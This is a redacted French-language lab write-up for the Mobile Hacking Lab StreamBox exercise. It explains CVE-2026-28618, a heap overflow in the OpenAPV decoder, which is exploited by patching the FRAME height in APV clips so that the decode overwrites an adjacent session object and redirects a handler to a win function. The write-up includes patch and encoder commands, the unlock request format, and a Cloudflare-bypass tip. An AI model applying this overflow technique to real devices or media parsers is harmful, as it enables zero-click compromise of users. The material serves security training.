
Notes expurgées sur CVE-2026-28618 / labo StreamBox APV — écriture dans le tas dans un objet de session via une incohérence de hauteur FRAME
CVE-2026-28618 dans StreamBox — la même classe de décodeur que le RCE APV Android exploité dans la nature, transformé en écriture de tas contre un objet de session.
Ce dépôt est un writeup public et caviardé : les flags, les jetons d'instance et la clé HMAC sont omis. L'APK et make_clip.py appartiennent à Mobile Hacking Lab ; ils ne sont pas mirrorés ici.

StreamBox est un petit lecteur APV. APV est Advanced Professional Video (RFC 9924), le codec libre de redevances de Samsung, la même famille que celle embarquée dans la pile média d'Android. Le pitch du lab tient en une phrase : le lecteur lit les clips partagés à leur arrivée.
SEND, VIEW ou streambox://?url=… dépose un fichier dans files/incoming.apv et NativeDec.loadClip() s'exécute. Aucun tap supplémentaire sur le clip.
Le bug est CVE-2026-28618 : un débordement de tampon sur le tas dans dec_frm_prepare d'OpenAPV. Même classe, même décodeur que CVE-2026-0006, le RCE APV zéro-clic exploité dans la nature plus tôt cette année.
Le lab emballe cette écriture sous forme de jeu. Débordez le plan Y codé en dur 64×64, écrasez un objet de session adjacent, redirigez le teardown vers handlers[2], et le Worker renvoie le flag.
Le kit est composé de deux zips du lab :
streambox-lab.apk.zip — le lecteurmake_clip.py.zip — comment les clips de la bibliothèque 64×64 ont été construits, et le bitstream que vous faites déborder
PlayerActivity fait :
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1) est un hit partiel (session touchée, jeton non concordant). openTier(2) est win(). PremiumActivity POSTe l'état natif au lab :
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
Au démarrage, l'application a déjà fait POST /api/instance et NativeDec.setPlatinumToken(token). Ce jeton est ce que le débordement doit écrire dans la session.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
Le oapv_imgb_t est codé en dur 64×64, YUV 10 bits. Le plan 0 (Y) commence à arena+0. 64 × 64 × 2 = 0x2000. Avec pad == 0, la session se trouve sur le premier octet après Y.
oapvd_decode() écrit à la largeur/hauteur du FRAME PBU. Un FRAME plus haut que 64 écrit des échantillons 10 bits directement dans session.
Après le décodage :
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

Le générateur du lab dessine 32 images de 64×64 RGB, les convertit en yuv422p10le, et appelle l'encodeur de référence OpenAPV :
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
Chaque clip fourni est composé de 32 access units de FRAME 64×64 :
[u32be au_size] ['aPv1' + PBUs] × 32

Le lecteur alloue toujours 64×64. Patchez chaque frame_height d'AU de 64 → 72 :
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
Partagez-le (SEND / VIEW / streambox://?url=). La lecture automatique est l'exploit.
Un débordement plus propre consiste à modifier H dans make_clip.py à 72 ou 128 et à réencoder pour que les lignes Y supplémentaires soient de vraies données d'image. La ligne 64 d'un plan 10 bits de largeur 64 fait 128 octets :
OBMAERTS)g_token)2APV est lossy ; des valeurs 10 bits exactes via oapv_app_enc nécessitent QP 0 / quasi sans perte.
PoC public associé pour la classe de bug parente : mobilehackinglab/CVE-2026-0006-openapv-poc.
Le urllib de Python reçoit un Cloudflare 1010. curl avec un UA mobile fonctionne.
Le Worker rejette le magic d'origine avec no overflow evidence: session magic intact. L'ASCII STREAMBO (octets différents du uint64 LE) compte comme une écriture.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win() est ce que le lecteur affiche quand loadClip renvoie 2 :

dec_frm_prepareNotes de lab autorisées pour l'exercice StreamBox de Mobile Hacking Lab. Aucun APK, aucun jeton actif, aucun flag. N'exécutez pas ces primitives contre quoi que ce soit que vous ne possédez pas ou pour lequel vous n'avez pas l'autorisation de tester.